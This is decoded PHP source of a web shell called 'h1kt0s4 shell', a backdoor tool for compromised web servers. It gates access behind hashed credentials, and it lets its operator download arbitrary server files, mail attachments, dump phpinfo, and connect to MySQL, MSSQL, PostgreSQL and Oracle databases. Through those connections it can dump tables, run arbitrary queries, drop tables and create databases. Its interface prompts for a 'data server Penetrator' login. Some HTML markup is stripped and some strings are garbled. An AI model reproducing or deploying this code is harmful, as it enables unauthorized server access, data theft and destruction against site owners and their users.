/* Decoded by unphp.net */ ?> $v) { $_POST[$k] = stripslashes($v); } foreach ($_COOKIE as $k=>$v) { $_COOKIE[$k] = stripslashes($v); } } if($auth == 1) { if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass) { header('WWW-Authenticate: Basic realm="h1kt0s4 shell"'); header('HTTP/1.0 401 Unauthorized'); exit("h1kt0s4 : Access Denied"); } } $head = ' h1kt0s4 shell '; class zipfile { var $datasec = array(); var $ctrl_dir = array(); var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; var $old_offset = 0; function unix2DosTime($unixtime = 0) { $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); if ($timearray['year'] < 1980) { $timearray['year'] = 1980; $timearray['mon'] = 1; $timearray['mday'] = 1; $timearray['hours'] = 0; $timearray['minutes'] = 0; $timearray['seconds'] = 0; } return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); } function addFile($data, $name, $time = 0) { $name = str_replace('\\', '/', $name); $dtime = dechex($this->unix2DosTime($time)); $hexdtime = '\x' . $dtime[6] . $dtime[7] . '\x' . $dtime[4] . $dtime[5] . '\x' . $dtime[2] . $dtime[3] . '\x' . $dtime[0] . $dtime[1]; eval('$hexdtime = "' . $hexdtime . '";'); $fr = "\x50\x4b\x03\x04"; $fr .= "\x14\x00"; $fr .= "\x00\x00"; $fr .= "\x08\x00"; $fr .= $hexdtime; $unc_len = strlen($data); $crc = crc32($data); $zdata = gzcompress($data); $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); $c_len = strlen($zdata); $fr .= pack('V', $crc); $fr .= pack('V', $c_len); $fr .= pack('V', $unc_len); $fr .= pack('v', strlen($name)); $fr .= pack('v', 0); $fr .= $name; $fr .= $zdata; $this -> datasec[] = $fr; $cdrec = "\x50\x4b\x01\x02"; $cdrec .= "\x00\x00"; $cdrec .= "\x14\x00"; $cdrec .= "\x00\x00"; $cdrec .= "\x08\x00"; $cdrec .= $hexdtime; $cdrec .= pack('V', $crc); $cdrec .= pack('V', $c_len); $cdrec .= pack('V', $unc_len); $cdrec .= pack('v', strlen($name) ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('V', 32 ); $cdrec .= pack('V', $this -> old_offset ); $this -> old_offset += strlen($fr); $cdrec .= $name; $this -> ctrl_dir[] = $cdrec; } function file() { $data = implode('', $this -> datasec); $ctrldir = implode('', $this -> ctrl_dir); return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00"; } } function compress(&$filename,&$filedump,$compress) { global $content_encoding; global $mime_type; if ($compress == 'bzip' && @function_exists('bzcompress')) { $filename .= '.bz2'; $mime_type = 'application/x-bzip2'; $filedump = bzcompress($filedump); } else if ($compress == 'gzip' && @function_exists('gzencode')) { $filename .= '.gz'; $content_encoding = 'x-gzip'; $mime_type = 'application/x-gzip'; $filedump = gzencode($filedump); } else if ($compress == 'zip' && @function_exists('gzcompress')) { $filename .= '.zip'; $mime_type = 'application/zip'; $zipfile = new zipfile(); $zipfile -> addFile($filedump, substr($filename, 0, -4)); $filedump = $zipfile -> file(); } else { $mime_type = 'application/octet-stream'; } } function mailattach($to,$from,$subj,$attach) { $headers = "From: $from\r\n"; $headers .= "MIME-Version: 1.0\r\n"; $headers .= "Content-Type: ".$attach['type']; $headers .= "; name=\"".$attach['name']."\"\r\n"; $headers .= "Content-Transfer-Encoding: base64\r\n\r\n"; $headers .= chunk_split(base64_encode($attach['content']))."\r\n"; if(@mail($to,$subj,"",$headers)) { return 1; } return 0; } class my_sql { var $host = 'localhost'; var $port = ''; var $user = ''; var $pass = ''; var $base = ''; var $db = ''; var $connection; var $res; var $error; var $rows; var $columns; var $num_rows; var $num_fields; var $dump; function connect() { switch($this->db) { case 'MySQL': if(empty($this->port)) { $this->port = '3306'; } if(!function_exists('mysql_connect')) return 0; $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass); if(is_resource($this->connection)) return 1; break; case 'MSSQL': if(empty($this->port)) { $this->port = '1433'; } if(!function_exists('mssql_connect')) return 0; $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass); if($this->connection) return 1; break; case 'PostgreSQL': if(empty($this->port)) { $this->port = '5432'; } $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'"; if(!function_exists('pg_connect')) return 0; $this->connection = @pg_connect($str); if(is_resource($this->connection)) return 1; break; case 'Oracle': if(!function_exists('ocilogon')) return 0; $this->connection = @ocilogon($this->user, $this->pass, $this->base); if(is_resource($this->connection)) return 1; break; } return 0; } function select_db() { switch($this->db) { case 'MySQL': if(@mysql_select_db($this->base,$this->connection)) return 1; break; case 'MSSQL': if(@mssql_select_db($this->base,$this->connection)) return 1; break; case 'PostgreSQL': return 1; break; case 'Oracle': return 1; break; } return 0; } function query($query) { $this->res=$this->error=''; switch($this->db) { case 'MySQL': if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection))) { $this->error = @mysql_error($this->connection); return 0; } else if(is_resource($this->res)) { return 1; } return 2; break; case 'MSSQL': if(false===($this->res=@mssql_query($query,$this->connection))) { $this->error = 'Query error'; return 0; } else if(@mssql_num_rows($this->res) > 0) { return 1; } return 2; break; case 'PostgreSQL': if(false===($this->res=@pg_query($this->connection,$query))) { $this->error = @pg_last_error($this->connection); return 0; } else if(@pg_num_rows($this->res) > 0) { return 1; } return 2; break; case 'Oracle': if(false===($this->res=@ociparse($this->connection,$query))) { $this->error = 'Query parse error'; } else { if(@ociexecute($this->res)) { if(@ocirowcount($this->res) != 0) return 2; return 1; } $error = @ocierror(); $this->error=$error['message']; } break; } return 0; } function get_result() { $this->rows=array(); $this->columns=array(); $this->num_rows=$this->num_fields=0; switch($this->db) { case 'MySQL': $this->num_rows=@mysql_num_rows($this->res); $this->num_fields=@mysql_num_fields($this->res); while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res))); @mysql_free_result($this->res); if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} break; case 'MSSQL': $this->num_rows=@mssql_num_rows($this->res); $this->num_fields=@mssql_num_fields($this->res); while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res))); @mssql_free_result($this->res); if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}; break; case 'PostgreSQL': $this->num_rows=@pg_num_rows($this->res); $this->num_fields=@pg_num_fields($this->res); while(false !== ($this->rows[] = @pg_fetch_assoc($this->res))); @pg_free_result($this->res); if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} break; case 'Oracle': $this->num_fields=@ocinumcols($this->res); while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++; @ocifreestatement($this->res); if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} break; } return 0; } function dump($table) { if(empty($table)) return 0; $this->dump=array(); $this->dump[0] = '##'; $this->dump[1] = '## --------------------------------------- '; $this->dump[2] = '## Created: '.date ("d/m/Y H:i:s"); $this->dump[3] = '## Database: '.$this->base; $this->dump[4] = '## Table: '.$table; $this->dump[5] = '## --------------------------------------- '; switch($this->db) { case 'MySQL': $this->dump[0] = '## MySQL dump'; if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0; if(!$this->get_result()) return 0; $this->dump[] = $this->rows[0]['Create Table']; $this->dump[] = '## --------------------------------------- '; if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++) { foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);} $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; } break; case 'MSSQL': $this->dump[0] = '## MSSQL dump'; if($this->query('SELECT * FROM '.$table)!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++) { foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; } break; case 'PostgreSQL': $this->dump[0] = '## PostgreSQL dump'; if($this->query('SELECT * FROM '.$table)!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++) { foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; } break; case 'Oracle': $this->dump[0] = '## ORACLE dump'; $this->dump[] = '## under construction'; break; default: return 0; break; } return 1; } function close() { switch($this->db) { case 'MySQL': @mysql_close($this->connection); break; case 'MSSQL': @mssql_close($this->connection); break; case 'PostgreSQL': @pg_close($this->connection); break; case 'Oracle': @oci_close($this->connection); break; } } function affected_rows() { switch($this->db) { case 'MySQL': return @mysql_affected_rows($this->res); break; case 'MSSQL': return @mssql_affected_rows($this->res); break; case 'PostgreSQL': return @pg_affected_rows($this->res); break; case 'Oracle': return @ocirowcount($this->res); break; default: return 0; break; } } } if(!empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name'])) { if(!$file=@fopen($_POST['d_name'],"r")) { err(1,$_POST['d_name']); $_POST['cmd']=""; } else { @ob_clean(); $filename = @basename($_POST['d_name']); $filedump = @fread($file,@filesize($_POST['d_name'])); fclose($file); $content_encoding=$mime_type=''; compress($filename,$filedump,$_POST['compress']); if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); } header("Content-type: ".$mime_type); header("Content-disposition: attachment; filename=\"".$filename."\";"); echo $filedump; exit(); } } if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "
[ BACK ]
"; die(); } if(isset($_GET['sqlman'])) { session_start(); $action = $HTTP_GET_VARS['action']; $pagemax=20; // Maximum rows displaed per page, change to display more or less rows per page. function show_login($dbnamearray){ $hostdefault="localhost"; echo""; echo""; if(count($hostdefault) > 1){ echo"\n"; }else{ echo"\n"; } echo"\n"; echo"\n"; If($dbnamearray != ""){ echo"\n"; echo"\n"; echo"
??? C???????:
Server Databases:
Username:
Password:
?C?IE C?E?C?CE:
\n"; } function dbrestrict(){ if(isset($_SESSION['user'])){ $user=$_SESSION['user']; switch($user){ //Edit these ** values. You can add more case statements. case '**User**': $dbnamearray= array('**dbname**', '**dbname2**', '**dbname**'); break; //end edit values default: $_SESSION['defaltuser']=true; $dbnamearray = array(); $link = connectmysql(); $db_list = mysql_list_dbs($link); //$db_list $cnt = mysql_num_rows($db_list); for ($i =0; $i < $cnt; $i++) { $dbnamearray[$i]= mysql_db_name($db_list, $i); } } return $dbnamearray; } } //*************************************************************** //function showdbs($dbnamearray, $backuppath){ function showdbs($dbnamearray){ //$backuppath=addslashes($backuppath); echo"\n"; for ($i =0; $i < count($dbnamearray); $i++) { echo"\n"; } echo"
"; $dbn=$dbnamearray[$i]; $va="Go to the base $dbn"; goto(' ', $dbn,$action, 'but', 'db', $va ); $dbs=mysize($dbnamearray[$i],""); echo"$dbs
\n"; } //********************* Show Logout Button ********** function endsess(){ echo"
\n"; echo"\n"; echo"
"; } //******************************************************************** function connectmysql(){ //Connects to the MySQL Database. if (isset($_SESSION['user']) && isset($_SESSION['password'])){ $user = $_SESSION['user']; $pass = $_SESSION['password']; }else{ display_foot(); echo"\n\n"; exit(); } $link = @mysql_connect($_SESSION['host'], $_SESSION['user'], $_SESSION['password']); if(! $link){ echo"
\n"; echo"Unable to connect to the database server.
"; echo"The Host: $_SESSION[host], Username: $user Or call confidential Ktae.
"; echo"As well out of the record attempt once Akharie.\n"; echo"
\n"; return false; exit(); } else{ return $link; } } //********************************************************************* function connectdb($db, $link){ if(! mysql_select_db($db,$link)){ echo"Unable to locate database $db.
Please try again later.\n"; exit(); } } //********************************************************************* function exequery($sql, $tablename, $db){ $result= @mysql_query( $sql ); if($result){ //echo "Query successful"; return $result; }else{ echo"Sorry your Query failed: $sql
error:".mysql_error()."\n"; return false; } } //*************************************************** $fieldtypes = array("BIGINT", "BLOB", "CHAR", "DATE", "DATETIME", "DECIMAL", "DOUBLE", "ENUM", "FLOAT", "INT", "INTEGER", "LONGBLOB", "LONGTEXT", "MEDIUMBLOB", "MEDIUMINT", "MEDIUMTEXT", "NUMERIC", "PRECISION", "REAL","SET", "SMALLINT", "TEXT", "TIME", "TIMESTAMP", "TINYBLOB", "TINYINT", "TINYTEXT", "VARCHAR", "YEAR" ); //****************** Search Form **************************** function searchtableform($tablename, $dbname){ echo"
\n"; echo"\n"; echo"\n"; echo"\n"; echo"\n"; echo"
\n"; } //********************* Search ************************* function searcht($tablename, $dbname, $searchval){ if(! empty($searchval)){ // $searchval= str_replace(";",' ', $searchval); $result=exequery("Select * from $tablename", $tablename, $dbname); //$result=mysql_query("Select * from $tablename"); $num = mysql_num_fields($result); $fields = mysql_list_fields($dbname, $tablename); $whr="where "; $tok=explode(" ",$searchval); for ($t =0; $t < count($tok); $t++){ for ( $c = 0; $c < $num; $c++){ $fn =mysql_field_name($fields, $c); $whr .=" $fn like '%$tok[$t]%' or "; } } $whr=trim(substr_replace($whr, " ", -3)); $query="Select * from $tablename $whr"; $result=exequery($query, $tablename, $dbname); return $result; } } //*********************GOTO buttons************************* //provides a form and button. function goto($tablename, $dbname, $action, $class, $name, $va ){ //Adds a button. echo"
\n"; if(! eregi('tablestart', $name)){ echo"\n"; echo"\n"; } echo"\n"; //echo""; echo"
\n"; //echo"$va"; //} } //*********************** ShowDB *********************************** function showdb(){ //function showdb($backuppath){ $link=connectmysql(); if ($link){ echo"
"; echo"
\n"; echo"

The establishment of a new base

\n"; echo"
\n"; echo"Name of new rule: \n"; echo"

\n"; echo"

"; echo"
"; echo"

The list of rules available

\n"; //Restrict the database for users $dbnamearray= dbrestrict(); showdbs($dbnamearray); echo"
"; } } //********************** BuildWhr ****************************** //Builds the Where part of queries. function buildwhr($pk, $pv){ $whr=""; $pn =count($pv); for($t =0; $t < $pn; $t++){ $whr.="$pk[$t]='$pv[$t]'"; if($t < $pn-1){ $whr.=" and "; } } if ($whr !=" "){ return $whr; }else{ return false; } } //***********************ADD Record ****************** function addrecord($tablename, $dbname, $array){ $result=exequery("Select * from $tablename", $tablename, $dbname); //$result = @mysql_query( "Select * from $tablename" ); $flds = mysql_num_fields($result); //$fields = mysql_list_fields($dbname, $tablename); $qry=" "; $query = "Insert into $tablename Values( "; for ($x =0; $x < $flds; $x++){ //Multiple Select values for SET if(is_array($array[$x])){ $mval=""; for($m=0; $m < count($array[$x]); $m++){ if($m+1 == count($array[$x])){ $mval.= AddSlashes($array[$x][$m]); }else{ $mval.= AddSlashes($array[$x][$m]).","; } $fval = $mval; } }else{ $fval = AddSlashes($array[$x]); } $qry .= "'$fval'"; if ($x < $flds-1){ $qry.= ", "; } } $query .= $qry.")"; // echo"qry: $qry"; $result=exequery($query, $tablename, $dbname); if($result){ return $result; }else{ return false; } } //**********************ADD Form ********************** function addform($tablename, $dbname){ //Display the field names and input boxes echo"
\n"; echo"\n"; echo"\n"; $result=exequery("Select * from $tablename", $tablename, $dbname); //$result = @mysql_query( "Select * from $tablename" ); $flds = mysql_num_fields($result); $fields = mysql_list_fields($dbname, $tablename); echo"\n"; echo"\n"; echo"\n"; $mxlen = 80;//max width of the form fields. for($i=0; $i < $flds; $i++){ $auto = "false"; echo "\n"; }elseif($flen > $mxlen){ $rws= $flen/$mxlen; if($rws>10){ $rws=10; //max length of textarea } echo"\n"; // Start of new code for set drop down }elseif (strncmp($arr[1],'set',3)==0 || strncmp($arr[1],'enum',4)==0){ // We have a field type of set or enum $num=substr_count($arr[1],',') + 1; // count the number of entries $pos=strpos($arr[1],'(' ); //find the position of '(' $newstring=substr($arr[1],$pos+1); // get rid of the '???(' $snewstring=str_replace(')','',$newstring); // get rid of the last ')' $nnewstring=explode(',',$snewstring,$num); // stick into an array if(strncmp($arr[1],'set',3)==0 ){//Sets can have combinations of values echo ""; echo""; echo"\n"; // End of new code block for set drop down }else{ echo"\n"; } } echo"\n"; echo"\n"; echo""; echo"
Field NameTypeValue
".mysql_field_name($fields, $i); $fieldname = mysql_field_name($fields, $i); // added $type = mysql_field_type($result, $i); $flen = mysql_field_len($result, $i);//length of the field $flagstring = mysql_field_flags ($result, $i); // Start of new code for set drop down $newsql = "show columns from $tablename like '%".$fieldname."'"; $newresult = exequery($newsql, $tablename, $dbname); //mysql_query($newsql) or die ('I cannot get the query because: ' . mysql_error()); $arr=mysql_fetch_array($newresult); // End of new code block for set drop down if (eregi("primary",$flagstring )){ $type .= " PK "; } if(eregi("auto",$flagstring )){ $type .= " auto_increment"; $auto = "true"; } if ($auto=="true"){ echo"$type
$type
Set (select one or more)Enum
$type
\n"; echo"
\n"; } //*********************Edit Form *************** function editform($tablename, $dbname, $result, $edit, $pk, $pv){ $row=mysql_fetch_array($result); echo"
\n"; echo"\n"; $flds = mysql_num_fields($result); $fields = mysql_list_fields($dbname, $tablename); echo"\n"; echo"\n"; echo""; $mxlen = 80;//max width of the form fields for($i=0; $i < $flds; $i++){ $fname=mysql_field_name($fields, $i); echo "\n"; // Start of new code for set drop down }elseif (strncmp($arr[1],'set',3)==0 || strncmp($arr[1],'enum',4)==0){ // We have a field type of set or enum $num=substr_count($arr[1],',') + 1; // count the number of entries $pos=strpos($arr[1],'(' ); //find the position of '(' $newstring=substr($arr[1],$pos+1); // get rid of the '???(' $snewstring=str_replace(')','',$newstring); // get rid of the last ')' $nnewstring=explode(',',$snewstring,$num); // stick into an array if(strncmp($arr[1],'set',3)==0 ){//Sets can have combinations of values echo"\n"; // End of new code block for set drop down }else{ echo"\n"; } for($f =0; $f< count($pk);$f++){ echo""; echo"\n"; } } echo"\n"; echo"\n"; echo""; echo"
$fname"; $flen = mysql_field_len($result, $i);//length of the field $nslash = StripSlashes($row[$i]); // Start of new code for set drop down $newsql = "show columns from $tablename like '%".$fname."'"; $newresult = exequery($newsql, $tablename, $dbname); $arr=mysql_fetch_array($newresult); // End of new code block for set drop down if($flen > $mxlen){ $rws= $flen/$mxlen; if($rws>10){ $rws=10; //max length of textarea } echo"
\n"; echo"
\n"; } //************************Edit Record************************* function editrec($dbname, $tablename, $pk, $pv, $array){ //$result = @mysql_query( "Select * from $tablename" ); $result = exequery("Select * from $tablename", $tablename, $dbname); $flds = mysql_num_fields($result); $fields = mysql_list_fields($dbname, $tablename); //Build Query $qry=""; $query = "UPDATE $tablename set "; for ($x =0; $x < $flds; $x++){ $fie = mysql_field_name($fields, $x ); // SET and ENUM if(is_array($array[$x])){ $mval=""; for($m=0; $m < count($array[$x]); $m++){ if($m+1 == count($array[$x])){ $mval.= AddSlashes($array[$x][$m]); }else{ $mval.= AddSlashes($array[$x][$m]).","; } $fval = $mval; } }else{ $fval = AddSlashes($array[$x]); } //************************** //$fval = AddSlashes($array[$x]); $qry .= "$fie = '$fval'"; if ($x < $flds-1){ $qry.= ", "; } } $whr = buildwhr( $pk, $pv); $whr =StripSlashes($whr); $query .= "$qry"; $query .= " where $whr"; $result=exequery($query, $tablename, $dbname); if($result){ return $result; }else{ return false; } } //****************** Number of Primary Keys *********************** function numpk($result){ $z =0; for ($i = 0; $i < $flds; $i++) { //Find the primary key $flagstring = mysql_field_flags ($result, $i); if(eregi("primary",$flagstring )){ $z++; } } return $z; } //********************Size field***************** function fieldformsize($ft, $i, $l){ $ft= trim(strtoupper($ft)); if($ft =="DATE" || $ft=="TIME" || $ft== "DATETIME" ){ }elseif( $ft=="TINYTEXT" || $ft=="BLOB" || $ft=="TEXT" || $ft =="MEDIUMBLOB"){ echo""; }elseif($ft=="MEDIUMTEXT" || $ft=="LONGBLOB"|| $ft=="LONGTEXT" || $ft=="TINYBLOB"){ echo""; }elseif($ft=="INT" || $ft=="TINYINT"|| $ft=="SMALLINT"|| $ft=="MEDIUMINT"|| $ft=="BIGINT" || $ft=="INTEGER"){ echo""; }elseif($ft=="YEAR" ){ echo"\n"; }elseif($ft=="SET"|| $ft=="ENUM"){ echo""; }else{ echo"\n"; } } //******************************Display Row ****************************** function displayrow($dbname, $tbl, $pk, $pkfield, $cpk, $row, $flds){ $pkfs=""; $hv=""; $hf=""; if($cpk >0 && !empty($pkfield)){ for($a = 0; $a < $cpk; $a++){ $fieldn = $pkfield[$a]; $hf .= ""; $hv .= ""; } }else{ //No Primary Key so use all fields $fields = mysql_list_fields($dbname, $tbl); for($b = 0; $b < $flds; $b++){ $fie = mysql_field_name($fields, $b ); $hf .= ""; $hv .= ""; } } echo"\n"; //edit Record echo"
\n"; echo"\n"; echo"\n"; echo"\n"; echo"$hf"; echo"$hv"; echo"\n"; echo"
\n"; //Delete record echo"
\n"; echo"\n"; echo"\n"; echo"\n"; echo"$hf"; echo"$hv"; echo"\n"; echo"
"; //Display all the columns. for($col = 0; $col < $flds; $col ++){ $nslash = StripSlashes($row[$col]); echo"$nslash"; } echo""; } //***********************Remove Array Copy******************************** //removes copies from an array $x. function removearraycopy($x){ $leng= count($x); sort($x); $farr=array(); for ($i =0; $i < $leng; $i++){ $flag=false; for ($s =0; $s < count($farr); $s++){ if($x[$i]==$farr[$s]){ $flag=true; } } if ($flag == false){ $farr[count($farr)] = $x[$i]; } } return $farr; } //***********************<< page position >>******************************** function whichpage($num_rows, $pagemax, $pg, $tablename, $searchval){ $pgs = $num_rows/$pagemax; $pgs=ceil($pgs); //round up the number of pages. echo"
\n"; echo"Total number of records $num_rows, displayed on $pgs pages of \n"; echo" \n"; echo"\n"; echo"\n"; echo"records per page.
\n"; $pagescrol=""; $sval=""; if($pgs >1){ $pagescrol="
\n"; $nxt=$pg+1; $bk=$pg-1; $lst=$pgs; $end=$lst-1; $showp=$pg+1; if($searchval !=""){ $sval="&searchval=$searchval"; } $pagescrol .= "
\n"; if($pg>=1){ $pagescrol .= " 1 :<< \n"; $pagescrol .= " < \n"; } $pagescrol .= "\n"; $pagescrol .= "\n"; $pagescrol .= "\n"; $pagescrol .= "\n"; if($showp < $lst){ $pagescrol .= " > \n"; $pagescrol .= " >>: $lst \n"; } $pagescrol .= "
\n"; $pagescrol.="
\n"; } return $pagescrol; } //*************Display Footer************************* //Please don't remove or change. function display_foot(){ echo"
Version $version © ".date('Y')." ly0kha
"; } //*************My Size************************* //Returns the size of a table or database function mysize($dbname, $tablename){ $like=""; $total=""; $t=0; if($tablename !=""){ $like=" like '$tablename'"; } $sql= "SHOW TABLE STATUS FROM $dbname $like"; //$result = mysql_query($sql); $result=exequery($sql, $tablename, $dbname); if($result){ while($rec = mysql_fetch_array($result)){ $t+=($rec['Data_length'] + $rec['Index_length']); } $total ="$t bytes"; }else{ $total="Unknowen"; } return($total); } //************************************** //DEBUG to show all being passed to the page function showpassingvars(){ echo"Get: "; foreach($_GET as $pram=>$value){ echo"$pram: $value, "; } echo"
Post: "; foreach($_POST as $pram=>$value){ echo"$pram: $value, "; } echo"
Session: "; foreach($_SESSION as $pram=>$value){ echo"$pram: $value, "; } } echo"\n"; echo"\n"; echo"\n"; echo"Scarpt contact databases\n"; echo"\n"; echo""; echo"Scarpt contact databases \n"; echo""; echo""; echo""; echo"\n"; echo"\n"; echo"\n"; $showall=true; echo"

Scarpt contact databases

\n"; //******************* Session Logon *********************** if(isset($_POST['logout'])){ $_POST['dbname']=""; session_unset(); session_destroy(); } if(isset($_POST['userid']) && isset($_POST['pword1'])){ $_SESSION['user'] = $_POST['userid']; $_SESSION['password'] = $_POST['pword1']; } if (!isset($_SESSION['user']) || !isset($_SESSION['password'])){ echo"
"; echo"

Enter data server Penetrator

\n"; If(!isset($dbnamearray)){ $dbnamearray=""; } show_login($dbnamearray); echo"
"; }else{ //show logout option. echo"
"; endsess(); echo"
"; } //*****dbname if(isset($_POST['dbname'])){ $dbname=$_POST['dbname']; $_SESSION['dbname']= $_POST['dbname']; } //***** Host if(isset($_POST['host'])){ $host=$_POST['host']; $_SESSION['host']=$_POST['host']; } //******set tablename if(isset($_GET['tablename']) ){ $tablename=$_GET['tablename']; }elseif(isset($_POST['tablename'])){ $tablename=$_POST['tablename']; } //********** pagemax if(isset($_POST['pagemax'])){ //&& is_int($_POST['pagemax'])){ $isnum=true; for($o=0; $o9){ $isnum=false; } } if($_POST['pagemax']>0 && $isnum){ $_SESSION['pagemax']=$_POST['pagemax']; } } if(isset($_SESSION['pagemax'])){ $pagemax=$_SESSION['pagemax']; } //******** create a new Database ************ if(isset($_POST['cndb'])){ connectmysql(); $sql="create database $_POST[ndbname]"; $result=exequery($sql, " ", $_POST['ndbname']); if ($result){ $_SESSION['dbname'] = $_POST['ndbname']; $sql="Use $_POST[ndbname]"; $result=exequery($sql, " ", $_POST['ndbname']); if($result){ echo"

????? ????? $_SESSION[dbname]

\n"; } } } //********************************************* if (! isset($_SESSION['dbname']) && ! isset($dbnamearray) && ! isset($_POST['dbname']) && isset($_SESSION['user'])){ //*********post //Databse names showdb(); } //************************ Choose DB ************* if(isset($_POST['dbname']) && $_POST['dbname']==""){ showdb(); } //********** if (isset($_SESSION['dbname']) || isset($_POST['dbna']) || isset($_POST['dbname'])){ //************************************* //connection if (isset($_SESSION['dbname'])){ $dbsetname = $_SESSION['dbname']; }elseif(isset($_POST['dbname'])){ $dbsetname = $_POST['dbname']; $_SESSION['dbname'] = $_POST['dbname']; }else{ $dbsetname = $_POST['dbna']; $_SESSION['dbname'] = $_POST['dbna']; } } //*************************** we have a DB set if(isset($dbsetname) && $dbsetname!=""){ $link= connectmysql(); //echo"DBS: $dbsetname"; $conn = connectdb($dbsetname, $link); //*********** Drop Table ************** if(isset($_POST['deltable'])){ $showall=false; $tablename=$_POST['tablename']; echo"

!!! Warning!!!
You are trying to Clear this table $tablename
"; echo"Are you sure you want to do process?

\n"; $va="Drop $tablename"; goto($tablename, $dbname,$action, 'del', 'droptab', $va ); } if(isset($_POST['droptab'])){ $tablename=$_POST['tablename']; $dsql = "drop table $tablename"; $result=exequery($dsql, $tablename, $dbname); unset($tablename); //="false"; unset($_POST['tablename']); } //*****************Write Your Own Query ***************** if(isset($_POST['wyoq'])){ //post $value="The main facade of Scarpt"; goto($tablename, $dbname, $action, 'but', 'start', $value ); echo"
\n"; echo"\n"; //echo"\n"; echo"\n"; echo"
\n"; echo"

\n"; } if(isset($_POST['runquery'])){ $wyoqta = StripSlashes($_POST['wyoqta']); $result=exequery($wyoqta, " ", " "); if(@mysql_num_rows($result) >0){ $numrows=mysql_num_rows($result); $flds=mysql_num_fields($result); echo""; for($r=0; $r < $numrows; $r++){ echo""; $row=mysql_fetch_array($result); for($col = 0; $col < $flds; $col ++){ $nslash = StripSlashes($row[$col]); echo""; } echo""; } echo"
$nslash
"; }elseif (mysql_affected_rows()){ echo" Number of Rows affected: ".mysql_affected_rows(); }else{ echo" Nothing returned from the query."; } } // ****************List Tables*************************** if( ! isset($tablename) || $tablename==" " ){ $dbname=$_SESSION['dbname']; $result = mysql_list_tables($_SESSION['dbname']); $numtab = mysql_num_rows ($result); if($numtab == 1){ $_SESSION['tablename'] =mysql_tablename($result, 0); } //***************** Buttons ****************************** if (isset($_POST['runquery'])){ $dbname=$_SESSION['dbname']; $value="$dbname Start"; //Table Manager Start goto("", $_SESSION['dbname'], $action, 'but', 'tablestart', $value ); }elseif (! isset($_POST['wyoq']) && ! isset($_POST['runquery'])){ //write your own query. echo"\n"; echo"\n"; $value="Write Your Own Query"; goto(" ", $_SESSION['dbname'], $action, 'but', 'wyoq', $value ); echo""; echo"
"; $va="The establishment of a new scale"; goto("", $_SESSION['dbname'], "create.php", 'but', 'create', $va ); // echo"Create new Table\n"; echo""; $value="The main facade"; //Choose DB goto("", "", $action, 'but', 'db', $value ); echo"




"; echo"\n"; for ($i =0; $i < $numtab; $i++) { $tb_names[$i] = mysql_tablename($result, $i); echo"\n"; }//for echo"
\n"; $va="The agenda* $tb_names[$i]"; goto($tb_names[$i], $_SESSION['dbname'],$action, 'but', $tb_names[$i], $va ); echo"\n"; $va="Survey agenda $tb_names[$i]"; goto($tb_names[$i], $_SESSION['dbname'],$action, 'del', 'deltable', $va ); echo"\n"; $va="Alter Table $tb_names[$i]"; goto($tb_names[$i], $_SESSION['dbname'],'alter.php', 'but', 'altertable', $va ); echo"\n"; searchtableform($tb_names[$i], $_SESSION['dbname']); echo""; //Table size in bytes echo mysize($_SESSION['dbname'],$tb_names[$i]); echo"
\n"; } }else{ //tablename is set //***************** menu ***************************************** echo"\n"; echo"\n"; echo"\n"; if (!isset($_POST['add']) && !isset($_POST['deltable']) && isset($tablename)){ echo"\n"; } if (!isset($_POST['deltable'])){ echo"\n"; } echo"
